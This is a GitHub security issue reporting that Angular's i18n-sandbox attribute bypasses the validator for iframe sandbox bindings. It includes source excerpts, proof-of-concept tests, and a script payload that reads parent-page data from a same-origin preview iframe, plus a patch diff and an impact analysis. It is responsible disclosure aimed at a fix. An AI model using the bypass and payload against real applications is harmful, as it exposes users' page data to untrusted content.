Title: Security: Angular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data · Issue #68418 · angular/angular · GitHub
Open Graph Title: Security: Angular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data · Issue #68418 · angular/angular
X Title: Security: Angular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data · Issue #68418 · angular/angular
Description: Which @angular/* package(s) are the source of the bug? Don't known / other Is this a regression? No Description Report description Angular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data The probl...
Open Graph Description: Which @angular/* package(s) are the source of the bug? Don't known / other Is this a regression? No Description Report description Angular i18n sandbox interpolation bypass lets same-origin preview...
X Description: Which @angular/* package(s) are the source of the bug? Don't known / other Is this a regression? No Description Report description Angular i18n sandbox interpolation bypass lets same-origin pre...
Opengraph URL: https://github.com/angular/angular/issues/68418
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Security: Angular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data","articleBody":"### Which @angular/* package(s) are the source of the bug?\n\nDon't known / other\n\n### Is this a regression?\n\nNo\n\n### Description\n\n## Report description\nAngular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data\n\n## The problem\n### Please describe the technical details of the vulnerability\n\n#### 1. technical details\n\nAngular treats several `iframe` policy attributes as security-sensitive and normally rejects dynamic\nupdates to them through `ɵɵvalidateAttribute`:\n\n```ts\nexport function ɵɵvalidateAttribute\u003cT = any>(value: T, tagName: string, attributeName: string): T {\n const lowerCaseTagName = tagName.toLowerCase();\n const lowerCaseAttrName = attributeName.toLowerCase();\n const validationConfig = SECURITY_SENSITIVE_ELEMENTS[lowerCaseTagName]?.[lowerCaseAttrName];\n if (!validationConfig) {\n return value;\n }\n\n const tNode = getSelectedTNode()!;\n if (tNode.type !== TNodeType.Element) {\n return value;\n }\n\n const lView = getLView();\n if (lowerCaseTagName === 'iframe') {\n const element = getNativeByTNode(tNode, lView) as RElement;\n enforceIframeSecurity(element as HTMLIFrameElement);\n }\n\n const errorMessage =\n ngDevMode &&\n `Angular has detected that the \\`${attributeName}\\` was applied ` +\n `as a binding to the \u003c${tagName}> element${getTemplateLocationDetails(lView)}. ` +\n `For security reasons, the \\`${attributeName}\\` can be set on the \u003c${tagName}> element ` +\n `as a static attribute only. \\n` +\n `To fix this, switch the \\`${attributeName}\\` binding to a static attribute ` +\n `in a template or in host bindings section.`;\n throw new RuntimeError(RuntimeErrorCode.UNSAFE_ATTRIBUTE_BINDING, errorMessage);\n}\n```\n\nThe i18n attribute path does not reuse that validator. During template parsing, Angular only blocks\n`i18n-*` attributes that are Trusted Types sinks. `i18n-sandbox` is accepted:\n\n```ts\n} else if (attr.name.startsWith(I18N_ATTR_PREFIX)) {\n const name = attr.name.slice(I18N_ATTR_PREFIX.length);\n let isTrustedType: boolean;\n if (node instanceof html.Component) {\n isTrustedType = node.tagName === null ? false : isTrustedTypesSink(node.tagName, name);\n } else {\n isTrustedType = isTrustedTypesSink(node.name, name);\n }\n\n if (isTrustedType) {\n this._reportError(\n attr,\n `Translating attribute '${name}' is disallowed for security reasons.`,\n );\n } else {\n attrsMeta[name] = attr.value;\n }\n}\n```\n\nAt runtime, i18n attribute updates only attach `_sanitizeUrl` for URL-like attributes. Other\ntranslated attributes, including `sandbox`, are passed without any validator:\n\n```ts\ngenerateBindingUpdateOpCodes(\n updateOpCodes,\n message,\n previousElementIndex,\n attrName,\n countBindings(updateOpCodes),\n SENSITIVE_ATTRS[attrName.toLowerCase()] ? _sanitizeUrl : null,\n);\n```\n\nThe resulting i18n update opcode is then written back to the DOM:\n\n```ts\ncase I18nUpdateOpCode.Attr:\n const propName = updateOpCodes[++j] as string;\n const sanitizeFn = updateOpCodes[++j] as SanitizerFn | null;\n const tNodeOrTagName = tView.data[nodeIndex] as TNode | string;\n if (typeof tNodeOrTagName === 'string') {\n setElementAttribute(\n lView[RENDERER],\n lView[nodeIndex],\n null,\n tNodeOrTagName,\n propName,\n value,\n sanitizeFn,\n );\n } else {\n setPropertyAndInputs(\n tNodeOrTagName,\n lView,\n propName,\n value,\n lView[RENDERER],\n sanitizeFn,\n );\n }\n```\n\nThis creates a validator gap: a normal dynamic `iframe sandbox` update is rejected, but the same\nattacker-controlled value can still be applied through `i18n-sandbox`.\n\n#### 2. vulnerability reproduction\n\nThe attached PoC models a realistic preview workflow:\n\n- the parent page stores a marker representing sensitive page state\n- user-controlled preview content is rendered in a same-origin `iframe`\n- the host template relies on `sandbox=\"allow-forms\"` to keep that preview isolated\n- a locale-specific or CMS-managed interpolated value is used in `i18n-sandbox`\n\nThe first PoC test shows the core policy mismatch. The normal path rejects the dynamic `sandbox`\nupdate:\n\n```ts\nit('rejects attacker-controlled iframe sandbox tokens on the normal binding path', () => {\n expect(() => {\n createFixtureWithTemplate(\n PreviewHostComponent,\n `\n \u003ciframe\n src=\"about:blank\"\n sandbox=\"allow-forms {{ attackerControlledSandboxFlags }}\">\n \u003c/iframe>\n `,\n );\n }).toThrowError(\n /For security reasons, the `sandbox` can be set on the \u003ciframe> element as a static attribute only/,\n );\n});\n```\n\nThe matching i18n path accepts the same attacker-controlled value and writes it into the iframe:\n\n```ts\nit('writes attacker-controlled iframe sandbox tokens through the i18n attribute path', () => {\n loadTranslations({\n [computeMsgId('allow-forms {$INTERPOLATION}')]: 'allow-forms {$INTERPOLATION}',\n });\n\n const fixture = createFixtureWithTemplate(\n PreviewHostComponent,\n `\n \u003ciframe\n src=\"about:blank\"\n sandbox=\"allow-forms {{ attackerControlledSandboxFlags }}\"\n i18n-sandbox>\n \u003c/iframe>\n `,\n );\n\n const iframe = fixture.nativeElement.querySelector('iframe') as HTMLIFrameElement | null;\n expect(readSandboxValue(iframe!)).toBe('allow-forms allow-scripts allow-same-origin');\n});\n```\n\nThe browser-backed PoC then demonstrates the practical effect. The parent page sets a marker:\n\n```ts\ndocument.documentElement.setAttribute('data-session-marker', 'admin-review-token');\n```\n\nThe preview iframe receives attacker-controlled sandbox tokens through `i18n-sandbox` and loads\nsame-origin preview content:\n\n```ts\ncreateFixtureWithTemplate(\n PreviewExploitHostComponent,\n `\n \u003ciframe\n id=\"preview\"\n srcdoc=\"${escapeHtmlAttribute(PREVIEW_PAYLOAD)}\"\n sandbox=\"allow-forms {{ attackerControlledSandboxFlags }}\"\n i18n-sandbox>\n \u003c/iframe>\n `,\n);\n```\n\nThe preview payload reads the parent-page marker:\n\n```ts\nconst PREVIEW_PAYLOAD = [\n '\u003c!doctype html>',\n '\u003cmeta charset=\"utf-8\">',\n '\u003cscript>',\n 'parent.document.documentElement.setAttribute(',\n '\"data-preview-read\",',\n 'parent.document.documentElement.getAttribute(\"data-session-marker\") || \"missing\"',\n ');',\n '\u003c/script>',\n].join('');\n```\n\nThe test waits for the marker and confirms that the iframe script read parent-page data:\n\n```ts\nawait waitForDocumentAttribute('data-preview-read');\nexpect(document.documentElement.getAttribute('data-preview-read')).toBe('admin-review-token');\n```\n\nPoC location:\n\n- `./work/angular/i18n_sandbox_bypass/i18n_sandbox_bypass_spec.ts`\n- `./work/angular/i18n_sandbox_bypass/i18n_sandbox_bypass_browser_spec.ts`\n\nOne-click demo:\n\n```sh\ncd ./work/angular\n./i18n_sandbox_bypass/run_demo.sh\n```\n\nObserved result:\n\n```text\n//i18n_sandbox_bypass:test PASSED\n//i18n_sandbox_bypass:test_web_chromium PASSED\n//i18n_sandbox_bypass:test_web_firefox PASSED\n```\n\nThese tests demonstrate that an attacker-controlled interpolated value can turn a restricted\nsame-origin preview iframe into one that executes script and reads data from the parent page.\n\n#### 3. patch\n\n``` diff\ndiff --git a/packages/core/src/render3/i18n/i18n_parse.ts b/packages/core/src/render3/i18n/i18n_parse.ts\nindex cfb150ee08..a55776f522 100644\n--- a/packages/core/src/render3/i18n/i18n_parse.ts\n+++ b/packages/core/src/render3/i18n/i18n_parse.ts\n@@ -16,6 +16,7 @@ import {\n VALID_ELEMENTS,\n } from '../../sanitization/html_sanitizer';\n import {getInertBodyHelper} from '../../sanitization/inert_body';\n+import {ɵɵvalidateAttribute as _validateAttribute} from '../../sanitization/sanitization';\n import {_sanitizeUrl} from '../../sanitization/url_sanitizer';\n import {\n assertDefined,\n@@ -79,6 +80,14 @@ const ICU_BLOCK_REGEXP = /^\\s*(�\\d+:?\\d*�)\\s*,\\s*(select|plural)\\s*,/;\n const MARKER = `�`;\n const SUBTEMPLATE_REGEXP = /�\\/?\\*(\\d+:\\d+)�/gi;\n const PH_REGEXP = /�(\\/?[#*]\\d+):?\\d*�/gi;\n+const I18N_VALIDATING_ATTRS = new Set([\n+ 'sandbox',\n+ 'allow',\n+ 'allowfullscreen',\n+ 'referrerpolicy',\n+ 'csp',\n+ 'fetchpriority',\n+]);\n \n /**\n * Angular uses the special entity &ngsp; as a placeholder for non-removable space.\n@@ -91,6 +100,20 @@ function replaceNgsp(value: string): string {\n return value.replace(NGSP_UNICODE_REGEXP, ' ');\n }\n \n+function getI18nAttrSanitizer(attrName: string): SanitizerFn | null {\n+ const lowerAttrName = attrName.toLowerCase();\n+\n+ if (SENSITIVE_ATTRS[lowerAttrName]) {\n+ return _sanitizeUrl;\n+ }\n+\n+ if (I18N_VALIDATING_ATTRS.has(lowerAttrName)) {\n+ return _validateAttribute;\n+ }\n+\n+ return null;\n+}\n+\n /**\n * Patch a `debug` property getter on top of the existing object.\n *\n@@ -388,7 +411,7 @@ export function i18nAttributesFirstPass(tView: TView, index: number, values: str\n previousElementIndex,\n attrName,\n countBindings(updateOpCodes),\n- SENSITIVE_ATTRS[attrName.toLowerCase()] ? _sanitizeUrl : null,\n+ getI18nAttrSanitizer(attrName),\n );\n }\n }\n@@ -816,7 +839,7 @@ function walkIcuTree(\n newIndex,\n attr.name,\n 0,\n- SENSITIVE_ATTRS[lowerAttrName] ? _sanitizeUrl : null,\n+ getI18nAttrSanitizer(attr.name),\n );\n } else {\n ngDevMode &&\n\ndiff --git a/packages/core/test/acceptance/security_spec.ts b/packages/core/test/acceptance/security_spec.ts\nindex 884fea63c1..6fa7f0e34a 100644\n--- a/packages/core/test/acceptance/security_spec.ts\n+++ b/packages/core/test/acceptance/security_spec.ts\n@@ -763,6 +763,24 @@ describe('iframe processing', () => {\n \n expectIframeToBeCreated(IframeComp, {src: TEST_IFRAME_URL});\n });\n+\n+ it('should error when a translated security-sensitive attribute contains bindings', () => {\n+ @Component({\n+ selector: 'my-comp',\n+ template: ` \u003ciframe\n+ src=\"${TEST_IFRAME_URL}\"\n+ i18n-sandbox\n+ sandbox=\"allow-forms {{ extraPrivileges }}\">\n+ \u003c/iframe> `,\n+\n+ changeDetection: ChangeDetectionStrategy.Eager,\n+ })\n+ class IframeComp {\n+ extraPrivileges = 'allow-scripts allow-same-origin';\n+ }\n+\n+ expectIframeCreationToFail(IframeComp);\n+ });\n });\n });\n });\n```\n\n### Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so\n\nAn attacker who can control a locale-specific string or CMS-managed value interpolated into\n`i18n-sandbox` can add `allow-scripts allow-same-origin` to a same-origin preview iframe. This lets\nscript running inside the preview read data from the parent page in workflows such as document\npreview or admin review screens.\n\n[i18n_sandbox_bypass.tar.gz](https://github.com/user-attachments/files/27165166/i18n_sandbox_bypass.tar.gz)\n\n### Please provide a link to a minimal reproduction of the bug\n\n_No response_\n\n### Please provide the exception or error you saw\n\n```true\n\n```\n\n### Please provide the environment you discovered this bug in (run `ng version`)\n\n```true\n\n```\n\n### Anything else?\n\n_No response_","author":{"url":"https://github.com/foxllb","@type":"Person","name":"foxllb"},"datePublished":"2026-04-28T12:37:32Z","url":"https://github.com/angular/angular/issues/68418"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:b315bb4a-6b23-4e9b-3683-5bf839349126 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | 85EE:21AC3F:E5627D:12566A5:6B00F3CC |
| html-safe-nonce | e91c43b8608daa629025ca8a20d9d7212e5954c8b08cf15e9931bb71fe4f22d1 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4NUVFOjIxQUMzRjpFNTYyN0Q6MTI1NjZBNTo2QjAwRjNDQyIsInZpc2l0b3JfaWQiOiIyOTg1NzE4MDQ0OTcyMTIzNjQiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | 01a6a8ff04b7798ef83a1404a1a95bb6cf9bcca6af51dcea61722edd9139f3e0 |
| hovercard-subject-tag | issue:4343179156 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular/68418/issue_layout |
| twitter:image | https://opengraph.githubassets.com/76896498e000629e48489854cfe42d3a4ec8ec7ca078d621247c11cfed02f957/angular/angular/issues/68418 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/76896498e000629e48489854cfe42d3a4ec8ec7ca078d621247c11cfed02f957/angular/angular/issues/68418 |
| og:image:alt | Which @angular/* package(s) are the source of the bug? Don't known / other Is this a regression? No Description Report description Angular i18n sandbox interpolation bypass lets same-origin preview... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | foxllb |
| hostname | github.com |
| expected-hostname | github.com |
| None | 4ef498cbabcbe3c50befc7a5b743e7072ee770b4daf0e15e54801180d1fa91fc |
| turbo-cache-control | no-preview |
| go-import | github.com/angular/angular git https://github.com/angular/angular.git |
| octolytics-dimension-user_id | 139426 |
| octolytics-dimension-user_login | angular |
| octolytics-dimension-repository_id | 24195339 |
| octolytics-dimension-repository_nwo | angular/angular |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 24195339 |
| octolytics-dimension-repository_network_root_nwo | angular/angular |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 9983dd5da06943f833c971dd5b6bc988e2858be5 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width